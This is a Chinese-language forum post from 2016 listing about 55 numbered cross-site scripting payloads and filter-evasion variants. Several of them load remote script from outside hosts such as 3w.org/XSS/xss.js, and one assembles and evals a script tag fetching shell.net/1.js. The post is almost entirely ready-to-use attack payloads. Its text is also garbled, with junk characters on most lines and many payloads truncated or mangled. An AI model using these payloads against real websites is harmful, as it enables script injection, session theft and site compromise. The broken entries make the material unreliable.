(1)普通的XSS JavaScript注入, b5 D6 `8 ^: Y3 Q: _3 O
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>% s8 ~' m* g2 B6 J1 D L- p" q( p
(99)另类弹框
6 x1 U L$ X8 L2 c6 L<q/oncut=alert()>1, m. D3 G' G+ l, A
<s/onclick=alert()>b1 D, ?% V1 I% p' b$ Q0 J
<XSS=" onclick="alert(1)//">clickme</SSX=">
+ H. n' n" ]* O; T; r <zzz onclick=alert`1`>clickme</zzz>
7 N( q+ S, \( Q5 x <a onclick=alert`1`>clickme</a>
7 A# ^8 K X3 V0 R5 Z* H<a=">clickme</a=">% K' s6 Q7 ]5 P; h0 @& D8 I u
<a=">clickme</a>' ^5 I2 J7 i7 n4 L$ x5 Y, n
<z=">clickme</z=">
5 m3 [8 F. B! M: o2 Z<z onclick=alert`1`>clickme</z>
( m A% Y/ V5 L! W: A- h k* a) o# u7 K7 r0 ]' v( Q
(2)IMG标签XSS使用JavaScript命令: e0 x! d- w) s2 M" P3 n
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>+ |3 i" L7 \& Y# m
0 ^: X) Z0 J/ \7 M; @5 x; ~7 g
(3)IMG标签无分号无引号
& x4 Q' \3 L! h/ _- r4 L<IMG SRC=javascript:alert(‘XSS’)>5 |2 S* M [' |
5 y1 Q' Y* V! _4 ~$ P! e(4)IMG标签大小写不敏感
: w4 t5 d6 {- n5 y/ Z' q- f1 J<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
% j! J+ w% U3 M8 o
$ ]2 W$ W Q4 o8 |4 e% w(5)HTML编码(必须有分号)
" m7 {& K1 R3 I! x' e1 E<IMG SRC=javascript:alert(“XSS”)>& y- W0 P4 F5 _; ?: p- l8 K% O
4 B9 ?; ^/ n$ l" z; p" X
(6)修正缺陷IMG标签% n1 e, |$ r; H9 M
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
# A9 J: ]$ M6 o7 c3 _4 T
; h7 }1 O7 |" D Y(7)formCharCode标签(计算器)
" e2 @) B" f7 h& C" d<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>1 {& Z+ o8 R3 i+ A8 K* c6 V
8 V8 I5 O/ _6 o+ f
(8)UTF-8的Unicode编码(计算器)
5 |3 O# |5 g+ n9 U1 O, {<IMG SRC=jav..省略..S')>2 X3 L3 e2 n( g8 b
" E& m( x' l/ W# J# l" J4 |8 M
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)$ S/ i# i' e% J1 O
<IMG SRC=jav..省略..S')>
) i+ m# y5 Q, X1 I% H
' S, g& S' ~1 B(10)十六进制编码也是没有分号(计算器)2 W: e& e/ i4 Y% |
<IMG SRC=\'#\'" /span>1 m3 k2 H1 ?, Q9 q
! ~4 |% f* C& h: _$ k6 _! ^(11)嵌入式标签,将Javascript分开
6 N' j; J; i6 ^9 y& g<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>3 M/ _5 L6 U Q
/ b! ^6 u- @' v6 L( S. `) F(12)嵌入式编码标签,将Javascript分开
" W. i* S/ d# K9 i<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>8 [- t) Q, X+ g' K- X
* R: k6 y' }( l$ e(13)嵌入式换行符! N/ o8 c5 l* D
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>5 |$ D) |" p& Y' ]
8 r) h/ f5 x, G5 i1 s) \/ ^(14)嵌入式回车; Q, K6 M5 U+ A0 A
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
& T9 h$ m0 S0 k6 n8 U9 p, s
" \( z# ?4 Q4 M) j(15)嵌入式多行注入JavaScript,这是XSS极端的例子
* U( M( {& X: m! K: X6 i9 @/ ]# v<IMG SRC=\'#\'" /span>% Y6 R' a- s- M. K
# h) j! t8 Z- s9 o$ ~2 w, U
(16)解决限制字符(要求同页面), D$ V" L q e8 G% V: B- `$ v
<script>z=’document.’</script>4 P' q2 s+ M6 Q8 W; M Z
<script>z=z+’write(“‘</script>
6 Y" b" Z3 `" \/ {6 R+ \<script>z=z+’<script’</script>+ M! x; W0 L9 Q7 x
<script>z=z+’ src=ht’</script>6 b5 |: L+ X0 T3 W' d
<script>z=z+’tp://ww’</script>! v. N1 ^0 x4 W* F" L
<script>z=z+’w.shell’</script>+ o9 g( J$ b, u" ]$ O, N
<script>z=z+’.net/1.’</script>
; P2 K6 u+ k, g2 g$ J I/ z<script>z=z+’js></sc’</script>
) `! d" B6 ?+ e4 C( [2 k+ E<script>z=z+’ript>”)’</script># T! e, P$ H& v3 G4 N1 K7 c
<script>eval_r(z)</script>- k& F# o# y6 W7 u7 ^
) m* ^: v U+ b" r' y4 l
(17)空字符
+ x7 Q+ r7 P% t6 I6 \% x2 E* pperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out% q& B# w3 |: Y
) n* C9 x' W2 A/ r; V
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用" G; u( v9 m8 f- H
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out$ Y8 N; \" N; [
5 {7 K+ V& t. N% c
(19)Spaces和meta前的IMG标签
) [' z: A0 `% e6 Y<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>6 p0 z) v2 P! q9 }0 z9 v
/ B. P+ H1 A, m$ Z(20)Non-alpha-non-digit XSS
# f# a% P$ @5 S' P" P<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
" [2 T- B0 d) u' P" r/ `# J. u6 I I* u
(21)Non-alpha-non-digit XSS to 2
0 F" T( B1 x! J, f! e<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>: g7 C: z& ~; \. B7 z% u, D- a
: O7 Z/ a6 Y( _4 x2 F
(22)Non-alpha-non-digit XSS to 3* V% m8 b, \ y7 J2 T
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>; x! P& f' z4 }! |
% T( [$ j6 u! l9 t(23)双开括号
! i2 _: ~; o9 P- n# K' [' {# Z, ]& v3 V<<SCRIPT>alert(“XSS”);//<</SCRIPT>, o# m( b" c) p3 I
- b6 F4 j9 @ i# Q) g) b7 V(24)无结束脚本标记(仅火狐等浏览器)
$ w0 G5 l0 x8 k9 c# a<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
! J* t2 E; ~# N& I4 w6 U6 C# f
. z" n" U4 z- ~& t(25)无结束脚本标记2
9 R) g. `3 ~; q* c! `" ^& B) e' F<SCRIPT SRC=//3w.org/XSS/xss.js>
# i7 J! M( n- Q. n( ~, _* P$ U
% V+ f+ c9 n3 T7 c0 Z(26)半开的HTML/JavaScript XSS( n; O1 p. ~( g$ L" N! R
<IMG SRC=\'#\'" /span>
' B0 B5 [; d# [" |4 Q
1 G- ^1 j( ~$ ^(27)双开角括号
9 e5 g+ P; \$ T5 j- [<iframe src=http://3w.org/XSS.html <
; ?. s: E& W" \1 |" c
# {3 B" n) W* a: d(28)无单引号 双引号 分号% W% Q4 J1 Y6 k5 e: e' L
<SCRIPT>a=/XSS/
2 u) L: x4 P) l' B2 oalert(a.source)</SCRIPT>
, S3 K% V! H* g4 I9 h$ H% a' @0 W' ~& I
(29)换码过滤的JavaScript
' P; W% U! D4 u3 X9 d, a\”;alert(‘XSS’);//) C" e: p6 e5 y- [/ a
, h: s. Y# P# g# @1 b3 c+ L8 P(30)结束Title标签
( T7 P7 S8 G! ]# U7 L</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
* N/ ^ D. W5 c+ O( W z; R4 [0 S) \$ [
(31)Input Image9 ~ \. ~4 }4 x
<INPUT SRC=\'#\'" /span>
3 s" K3 {$ a2 B* X8 S2 W, i) ?; j0 ]% h( _
(32)BODY Image, Y0 A. E# C( E5 V) Y* u
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
; S9 z4 N5 e7 [: g# [: a3 z4 _& \: D! S @2 I P, b# E
(33)BODY标签" q. d- l" r* ]( q2 Y! T3 ~2 V$ Z- V
<BODY(‘XSS’)>: h- Y" _" v. r z( @" |: ]
1 h- S3 F- |9 s! Y(34)IMG Dynsrc) ^; w% p: |' b* ]" W0 d z
<IMG DYNSRC=\'#\'" /span>( f( k. ^! [ d/ M* S# M. O
) v! p8 T0 t; u: @/ v, L& q(35)IMG Lowsrc) [# Q# @3 S. n
<IMG LOWSRC=\'#\'" /span>) w9 i$ ~6 _" O+ b- F D+ i6 y
' G/ c) a- `* r ?1 M" _(36)BGSOUND
) P# j6 @& f. m" ^( s<BGSOUND SRC=\'#\'" /span>
$ X$ `1 E' E/ g1 c7 B# t5 [
1 E. Z, a- x/ s( W(37)STYLE sheet- w" {+ M- J3 ]2 v9 v# O
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
& z/ j+ P2 I1 W& X. W. T
* j5 S4 s7 M- W: U( v7 G(38)远程样式表
& C* e) [1 J$ W2 b- H4 w( }2 L<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
0 h, T$ R; i: s" u& h" _% p- i4 R- K3 l6 _- o4 |, s
(39)List-style-image(列表式)& {0 V$ U. p& S2 A- t, q
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS. v- y% S- ~0 Z# ?% A
& l4 F/ C' w c6 [0 |2 b0 r
(40)IMG VBscript0 J. }# h' s' B6 X
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
$ }1 h. v1 b# a a9 V9 {7 ?
( O+ S. l9 D1 I& }0 |6 P(41)META链接url
6 |4 I3 ^- K, b9 D- j9 |<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
: Q3 [, o( V, v& Q& m
0 |8 L2 S; w+ V1 l& U! U- x% m$ r; g(42)Iframe1 r. m* @' \# Q
<IFRAME SRC=\'#\'" /IFRAME>" B! m4 F- z/ C9 }) a k
* Q+ w }& V# o
(43)Frame
* i f$ o6 ~! V; o% L; |3 a: O<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
6 S7 k/ t- u, J/ C8 |% `% \) I0 N: s5 \! R! |/ U, ?
(44)Table
0 h2 G, m- p' k1 t4 A5 K t5 Y; Y<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>% V+ ?; J3 @4 z" Y( Y! D
- f0 y- n% X! i8 _) @; G
(45)TD! d9 |& {3 u" r
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>* R3 k6 K" d% Z. p
( P$ e Q7 y6 b9 P6 k6 ~(46)DIV background-image2 w0 c3 _* z: a& r0 K9 n6 z
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>1 [* V9 @0 D$ j) i* a+ Z
2 V! ]5 M) t# h. b(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
( x+ X$ m# d1 U, Y' I<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>: _7 K/ M4 F4 D9 I( Y
0 b4 E. c# E' x, L ^: Q( r( m7 G
(48)DIV expression
\. p# j: i& @% x) Z7 u. W* L<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
2 C3 [5 k4 }6 t, @+ c$ Z. e c# K% q6 c1 O1 }' M( Y$ W" |
(49)STYLE属性分拆表达
$ ~$ n. e0 k2 G<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>0 |. a# Q) w1 A
1 @9 c& h+ L: I% z) Z8 h% Z
(50)匿名STYLE(组成:开角号和一个字母开头)$ y; Y$ X7 l1 E5 Y4 p9 s- @# x3 h
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
: z% ]8 R$ a( U4 }$ R+ | K* s+ `3 X$ o/ i$ p: }* d a* c
(51)STYLE background-image" A0 }3 ~! P* m1 Q7 r# q+ z; k
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A># Z. t- d; O) H9 \/ ^' b4 i
* o$ Z6 ^) |: B
(52)IMG STYLE方式
9 t* ~8 }; H/ T* ^6 B6 }exppression(alert(“XSS”))’>4 H: E/ ]0 b! q8 s0 v3 ^
, {6 c4 H4 X* |% N b4 M- k9 R! ](53)STYLE background8 {9 ~9 e( |7 e$ B% N' f# {0 Q
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
. X9 U2 a* g' ^# e5 ]5 h8 v" O
3 Z1 @( W$ g% U" s9 ^(54)BASE
; q: b% N6 H: W' j<BASE HREF=”javascript:alert(‘XSS’);//”>% D5 q9 |+ [. D, d6 E" i# W2 a- x
) T8 Y. m. A/ w1 v% D. j(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
" o/ W5 M `- b1 H<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>7 b9 i" P: h2 i6 Q: y Y
|
发表于 2016-4-28 10:06:15
收藏
支持
反对